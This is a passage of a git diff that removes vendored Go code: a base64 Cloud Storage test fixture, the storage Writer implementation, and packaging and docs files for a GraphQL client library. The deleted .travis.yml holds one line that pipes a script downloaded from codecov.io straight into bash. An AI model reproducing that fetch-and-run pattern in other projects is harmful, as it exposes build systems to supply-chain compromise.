jYnVja2V0IiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTciLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTciLCJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwibmFtZSI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNyIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjowMS45MDhaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjY6MDMuNTQ0WiIsIm1ldGFnZW5lcmF0aW9uIjoiMiIsImFjbCI6W3sia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE3L3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNy9hY2wvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE3IiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBST0ifSx7ImtpbmQiOiJzdG9yYWdlI2J1Y2tldEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxNy9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE3L2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE3IiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE3L3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTcvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTciLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0FJPSJ9XSwiZGVmYXVsdE9iamVjdEFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImVudGl0eSI6InByb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoib3duZXJzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJPV05FUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoiZWRpdG9ycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUk9In1dLCJpYW1Db25maWd1cmF0aW9uIjp7ImJ1Y2tldFBvbGljeU9ubHkiOnsiZW5hYmxlZCI6ZmFsc2V9fSwib3duZXIiOnsiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0In0sImxvY2F0aW9uIjoiVVMiLCJyZXRlbnRpb25Qb2xpY3kiOnsicmV0ZW50aW9uUGVyaW9kIjoiOTAwMDAiLCJlZmZlY3RpdmVUaW1lIjoiMjAxOS0wNS0wMlQyMjoyNjowMS45MDhaIiwiaXNMb2NrZWQiOnRydWV9LCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOCIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE4IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI2OjE1LjA5N1oiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNjoxNS4wOTdaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTgvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE4L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTgiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FFPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDE4L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTgvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTgiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMTgvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOC9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAxOCIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUU9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBRT0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInJldGVudGlvblBvbGljeSI6eyJyZXRlbnRpb25QZXJpb2QiOiI5MDAwMCIsImVmZmVjdGl2ZVRpbWUiOiIyMDE5LTA1LTAyVDIyOjI2OjE1LjA5N1oifSwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJldGFnIjoiQ0FFPSJ9XX0=" - } - } - ] -} \ No newline at end of file diff --git a/vendor/cloud.google.com/go/storage/writer.go b/vendor/cloud.google.com/go/storage/writer.go deleted file mode 100644 index a116592128..0000000000 --- a/vendor/cloud.google.com/go/storage/writer.go +++ /dev/null @@ -1,260 +0,0 @@ -// Copyright 2014 Google LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package storage - -import ( - "context" - "encoding/base64" - "errors" - "fmt" - "io" - "sync" - "unicode/utf8" - - "google.golang.org/api/googleapi" - raw "google.golang.org/api/storage/v1" -) - -// A Writer writes a Cloud Storage object. -type Writer struct { - // ObjectAttrs are optional attributes to set on the object. Any attributes - // must be initialized before the first Write call. Nil or zero-valued - // attributes are ignored. - ObjectAttrs - - // SendCRC specifies whether to transmit a CRC32C field. It should be set - // to true in addition to setting the Writer's CRC32C field, because zero - // is a valid CRC and normally a zero would not be transmitted. - // If a CRC32C is sent, and the data written does not match the checksum, - // the write will be rejected. - SendCRC32C bool - - // ChunkSize controls the maximum number of bytes of the object that the - // Writer will attempt to send to the server in a single request. Objects - // smaller than the size will be sent in a single request, while larger - // objects will be split over multiple requests. The size will be rounded up - // to the nearest multiple of 256K. If zero, chunking will be disabled and - // the object will be uploaded in a single request. - // - // ChunkSize will default to a reasonable value. If you perform many concurrent - // writes of small objects, you may wish set ChunkSize to a value that matches - // your objects' sizes to avoid consuming large amounts of memory. - // - // ChunkSize must be set before the first Write call. - ChunkSize int - - // ProgressFunc can be used to monitor the progress of a large write. - // operation. If ProgressFunc is not nil and writing requires multiple - // calls to the underlying service (see - // https://cloud.google.com/storage/docs/json_api/v1/how-tos/resumable-upload), - // then ProgressFunc will be invoked after each call with the number of bytes of - // content copied so far. - // - // ProgressFunc should return quickly without blocking. - ProgressFunc func(int64) - - ctx context.Context - o *ObjectHandle - - opened bool - pw *io.PipeWriter - - donec chan struct{} // closed after err and obj are set. - obj *ObjectAttrs - - mu sync.Mutex - err error -} - -func (w *Writer) open() error { - attrs := w.ObjectAttrs - // Check the developer didn't change the object Name (this is unfortunate, but - // we don't want to store an object under the wrong name). - if attrs.Name != w.o.object { - return fmt.Errorf("storage: Writer.Name %q does not match object name %q", attrs.Name, w.o.object) - } - if !utf8.ValidString(attrs.Name) { - return fmt.Errorf("storage: object name %q is not valid UTF-8", attrs.Name) - } - if attrs.KMSKeyName != "" && w.o.encryptionKey != nil { - return errors.New("storage: cannot use KMSKeyName with a customer-supplied encryption key") - } - pr, pw := io.Pipe() - w.pw = pw - w.opened = true - - go w.monitorCancel() - - if w.ChunkSize < 0 { - return errors.New("storage: Writer.ChunkSize must be non-negative") - } - mediaOpts := []googleapi.MediaOption{ - googleapi.ChunkSize(w.ChunkSize), - } - if c := attrs.ContentType; c != "" { - mediaOpts = append(mediaOpts, googleapi.ContentType(c)) - } - - go func() { - defer close(w.donec) - - rawObj := attrs.toRawObject(w.o.bucket) - if w.SendCRC32C { - rawObj.Crc32c = encodeUint32(attrs.CRC32C) - } - if w.MD5 != nil { - rawObj.Md5Hash = base64.StdEncoding.EncodeToString(w.MD5) - } - if w.o.c.envHost != "" { - w.o.c.raw.BasePath = fmt.Sprintf("%s://%s", w.o.c.scheme, w.o.c.envHost) - } - call := w.o.c.raw.Objects.Insert(w.o.bucket, rawObj). - Media(pr, mediaOpts...). - Projection("full"). - Context(w.ctx) - - if w.ProgressFunc != nil { - call.ProgressUpdater(func(n, _ int64) { w.ProgressFunc(n) }) - } - if attrs.KMSKeyName != "" { - call.KmsKeyName(attrs.KMSKeyName) - } - if attrs.PredefinedACL != "" { - call.PredefinedAcl(attrs.PredefinedACL) - } - if err := setEncryptionHeaders(call.Header(), w.o.encryptionKey, false); err != nil { - w.mu.Lock() - w.err = err - w.mu.Unlock() - pr.CloseWithError(err) - return - } - var resp *raw.Object - err := applyConds("NewWriter", w.o.gen, w.o.conds, call) - if err == nil { - if w.o.userProject != "" { - call.UserProject(w.o.userProject) - } - setClientHeader(call.Header()) - - // The internals that perform call.Do automatically retry - // uploading chunks, hence no need to add retries here. - // See issue https://github.com/googleapis/google-cloud-go/issues/1507. - // - // However, since this whole call's internals involve making the initial - // resumable upload session, the first HTTP request is not retried. - // TODO: Follow-up with google.golang.org/gensupport to solve - // https://github.com/googleapis/google-api-go-client/issues/392. - resp, err = call.Do() - } - if err != nil { - w.mu.Lock() - w.err = err - w.mu.Unlock() - pr.CloseWithError(err) - return - } - w.obj = newObject(resp) - }() - return nil -} - -// Write appends to w. It implements the io.Writer interface. -// -// Since writes happen asynchronously, Write may return a nil -// error even though the write failed (or will fail). Always -// use the error returned from Writer.Close to determine if -// the upload was successful. -func (w *Writer) Write(p []byte) (n int, err error) { - w.mu.Lock() - werr := w.err - w.mu.Unlock() - if werr != nil { - return 0, werr - } - if !w.opened { - if err := w.open(); err != nil { - return 0, err - } - } - n, err = w.pw.Write(p) - if err != nil { - w.mu.Lock() - werr := w.err - w.mu.Unlock() - // Preserve existing functionality that when context is canceled, Write will return - // context.Canceled instead of "io: read/write on closed pipe". This hides the - // pipe implementation detail from users and makes Write seem as though it's an RPC. - if werr == context.Canceled || werr == context.DeadlineExceeded { - return n, werr - } - } - return n, err -} - -// Close completes the write operation and flushes any buffered data. -// If Close doesn't return an error, metadata about the written object -// can be retrieved by calling Attrs. -func (w *Writer) Close() error { - if !w.opened { - if err := w.open(); err != nil { - return err - } - } - - // Closing either the read or write causes the entire pipe to close. - if err := w.pw.Close(); err != nil { - return err - } - - <-w.donec - w.mu.Lock() - defer w.mu.Unlock() - return w.err -} - -// monitorCancel is intended to be used as a background goroutine. It monitors the -// context, and when it observes that the context has been canceled, it manually -// closes things that do not take a context. -func (w *Writer) monitorCancel() { - select { - case <-w.ctx.Done(): - w.mu.Lock() - werr := w.ctx.Err() - w.err = werr - w.mu.Unlock() - - // Closing either the read or write causes the entire pipe to close. - w.CloseWithError(werr) - case <-w.donec: - } -} - -// CloseWithError aborts the write operation with the provided error. -// CloseWithError always returns nil. -// -// Deprecated: cancel the context passed to NewWriter instead. -func (w *Writer) CloseWithError(err error) error { - if !w.opened { - return nil - } - return w.pw.CloseWithError(err) -} - -// Attrs returns metadata about a successfully-written object. -// It's only valid to call it after Close returns nil. -func (w *Writer) Attrs() *ObjectAttrs { - return w.obj -} diff --git a/vendor/github.com/Laisky/graphql/.gitignore b/vendor/github.com/Laisky/graphql/.gitignore deleted file mode 100644 index 55affff706..0000000000 --- a/vendor/github.com/Laisky/graphql/.gitignore +++ /dev/null @@ -1,119 +0,0 @@ -# Byte-compiled / optimized / DLL files -__pycache__/ -*.py[cod] - -# C extensions -*.so - -# Distribution / packaging -.Python -env/ -build/ -develop-eggs/ -downloads/ -eggs/ -lib/ -lib64/ -parts/ -sdist/ -var/ -*.egg-info/ -.installed.cfg -*.egg - -# PyInstaller -# Usually these files are written by a python script from a template -# before PyInstaller builds the exe, so as to inject date/other infos into it. -*.manifest -*.spec - -# Installer logs -pip-log.txt -pip-delete-this-directory.txt - -# Unit test / coverage reports -htmlcov/ -.tox/ -.coverage -.cache -nosetests.xml -coverage.xml - -# Translations -*.mo -*.pot - -# Django stuff: -*.log - -# Sphinx documentation -docs/_build/ - -# PyBuilder -target/ - -# ipython -.ipynb_checkpoints/ - -# koala -koala-config.json - -# pyenv -/venv -/active - -# test -/data -/notebook -.tox - -# ctags -/.tags* - -# webassets -.webassets-cache/ -assets/ -.assets -html - -# node -node_modules/ -bower_components - -# sass -.sass-cache/ - -# docs -/site -/docs/source -/docs/build - -# virtualenv -venv -activate - -# eclipse workspace config -.idea/ -.project -.pydevproject - -# settings -/options/settings/settings_local.py -/settings/settings.yml - -# project -.vscode -tags -vendor -/go-ramjet -/main - -# pprof -memory.pprof -cpu.pprof - -# temporary -# docs - -coverage.txt -entrypoints/main.go diff --git a/vendor/github.com/Laisky/graphql/.travis.yml b/vendor/github.com/Laisky/graphql/.travis.yml deleted file mode 100644 index abad49bb02..0000000000 --- a/vendor/github.com/Laisky/graphql/.travis.yml +++ /dev/null @@ -1,32 +0,0 @@ -language: go - -sudo: false - -go: - - 1.12.x - - 1.13.x - -env: - - GO111MODULE=on - -install: true - -git: - depth: 1 - -cache: - directories: - - vendor - - $HOME/.cache/go-build - - $GOPATH/pkg/mod - # - $GOPATH/src - - -script: - - git checkout $TRAVIS_COMMIT . # travis.ci will overwrite to master branch - - go mod vendor - - go test -race -mod=vendor -coverprofile=coverage.txt -covermode=atomic ./... - # - go test -bench ./... - -after_script: - - bash <(curl -s https://codecov.io/bash) diff --git a/vendor/github.com/Laisky/graphql/LICENSE b/vendor/github.com/Laisky/graphql/LICENSE deleted file mode 100644 index ca4c77642d..0000000000 --- a/vendor/github.com/Laisky/graphql/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) 2017 Dmitri Shuralyov - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/vendor/github.com/Laisky/graphql/README.md b/vendor/github.com/Laisky/graphql/README.md deleted file mode 100644 index 26e3ea8a77..0000000000 --- a/vendor/github.com/Laisky/graphql/README.md +++ /dev/null @@ -1,72 +0,0 @@ -# Golang GraphQL Client - -![GitHub release](https://img.shields.io/github/release/Laisky/graphql.svg) -[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT) -[![Commitizen friendly](https://img.shields.io/badge/commitizen-friendly-brightgreen.svg)](http://commitizen.github.io/cz-cli/) -[![Go Report Card](https://goreportcard.com/badge/github.com/Laisky/graphql)](https://goreportcard.com/report/github.com/Laisky/graphql) -[![GoDoc](https://godoc.org/github.com/Laisky/graphql?status.svg)](https://godoc.org/github.com/Laisky/graphql) -[![Build Status](https://travis-ci.org/Laisky/graphql.svg?branch=master)](https://travis-ci.org/Laisky/graphql) -[![codecov](https://codecov.io/gh/Laisky/graphql/branch/master/graph/badge.svg)](https://codecov.io/gh/Laisky/graphql) - - -Fully compatible with v0.0.0-20181231061246-d48a9a75455f - -You can simply replace `github.com/shurcooL/graphql` --> `github.com/Laisky/graphql` to access new features. - - -## New Features - -### Cache friendly - -use HTTP GET when request graphql query, -use HTTP POST when request graphql mutation. - - -### Set Headers & Cookies - -```go -cli := NewClient( - "url", - httpClient, - graphql.WithCookie("cookieName", "cookieVal"), - graphql.WithHeader("headerName", "headerVal"), -) -``` - -## Usage - -```go -package test - -import ( - "context" - "net/http" - "testing" - - "github.com/Laisky/graphql" -) - -type gcpLockQuery struct { - Lock struct { - Name graphql.String `graphql:"name"` - ExpiresAt graphql.String `graphql:"expires_at"` - } `graphql:"Lock(name: $name)"` -} - -func TestQueryWithHTTPGet(t *testing.T) { - ctx := context.Background() - httpClient := http.DefaultClient - query := new(gcpLockQuery) - vars := map[string]interface{}{ - "name": graphql.String("laisky.123"), - } - gracli := graphql.NewClient( - "https://blog.laisky.com/graphql/query/", - httpClient, - ) - if err := gracli.Query(ctx, query, vars); err != nil { - t.Fatalf("%+v", err) - } - -} -``` diff --git a/vendor/github.com/Laisky/graphql/doc.go b/vendor/github.com/Laisky/graphql/doc.go deleted file mode 100644 index e045bb8537..0000000000 --- a/vendor/github.com/Laisky/graphql/doc.go +++ /dev/null @@ -1,11 +0,0 @@ -// Package graphql provides a GraphQL client implementation. -// -// For more information, see package github.com/Laisky/githubv4, -// which is a specialized version targeting GitHub GraphQL API v4. -// That package is driving the feature development. -// -// Status: In active early research and development. The API will change when -// opportunities for improvement are discovered; it is not yet frozen. -// -// For now, see README for more details. -package graphql // import "github.com/Laisky/graphql" diff --git a/vendor/github.com/Laisky/graphql/go.mod b/vendor/github.com/Laisky/graphql/go.mod deleted file mode 100644 index 765ab15ac8..0000000000 --- a/vendor/github.com/Laisky/graphql/go.mod +++ /dev/null @@ -1,8 +0,0 @@ -module github.com/Laisky/graphql - -go 1.13 - -require ( - github.com/graph-gophers/graphql-go v0.0.0-20191115155744-f33e81362277 - github.com/stretchr/testify v1.4.0 // indirect -) diff --git a/vendor/github.com/Laisky/graphql/go.sum b/vendor/github.com/Laisky/graphql/go.sum deleted file mode 100644 index 4c89b175e0..0000000000 --- a/vendor/github.com/Laisky/graphql/go.sum +++ /dev/null @@ -1,15 +0,0 @@ -github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8= -github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/graph-gophers/graphql-go v0.0.0-20191115155744-f33e81362277 h1:E0whKxgp2ojts0FDgUA8dl62bmH0LxKanMoBr6MDTDM= -github.com/graph-gophers/graphql-go v0.0.0-20191115155744-f33e81362277/go.mod h1:9CQHMSxwO4MprSdzoIEobiHpoLtHm77vfxsvsIN5Vuc= -github.com/opentracing/opentracing-go v1.1.0 h1:pWlfV3Bxv7k65HYwkikxat0+s3pV4bsqf19k25Ur8rU= -github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= -github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= -github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= -github.com/stretchr/testify v1.4.0 h1:2E4SXV/wtOkTonXsotYi4li6zVWxYlZuYNCXe9XRJyk= -github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= -gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= -gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/yaml.v2 v2.2.2 h1:ZCJp+EgiOT7lHqUV2J862kp8Qj64Jo6az82+3Td9dZw= -gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= diff --git a/vendor/github.com/Laisky/graphql/graphql.go b/vendor/github.com/Laisky/graphql/graphql.go deleted file mode 100644 index 414c3b1e52..0000000000 --- a/vendor/github.com/Laisky/graphql/graphql.go +++ /dev/null @@ -1,193 +0,0 @@ -package graphql - -import ( - "bytes" - "context" - "encoding/json" - "fmt" - "io/ioutil" - "net/http" - - "github.com/Laisky/graphql/internal/jsonutil" -) - -var ( - defaultClientHeaders = map[string]string{ - "Content-Type": "application/json", - } -) - -// ClientOptFunc graphql client option -type ClientOptFunc func(*Client) - -// WithHeader set graphql client header -func WithHeader(key, val string) ClientOptFunc { - return func(c *Client) { - c.headers[key] = val - } -} - -// WithCookie set graphql client cookie -func WithCookie(key, val string) ClientOptFunc { - return func(c *Client) { - if c.cookies == nil { - c.cookies = map[string]string{} - } - c.cookies[key] = val - } -} - -// Client is a GraphQL client. -type Client struct { - url string // GraphQL server URL. - httpClient *http.Client - - headers, - cookies map[string]string -} - -// NewClient creates a GraphQL client targeting the specified GraphQL server URL. -// If httpClient is nil, then http.DefaultClient is used. -func NewClient(url string, httpClient *http.Client, opts ...ClientOptFunc) (c *Client) { - if httpClient == nil { - httpClient = http.DefaultClient - } - c = &Client{ - headers: defaultClientHeaders, - url: url, - httpClient: httpClient, - } - for _, optf := range opts { - optf(c) - } - return c -} - -// Query executes a single GraphQL query request, -// with a query derived from q, populating the response into it. -// q should be a pointer to struct that corresponds to the GraphQL schema. 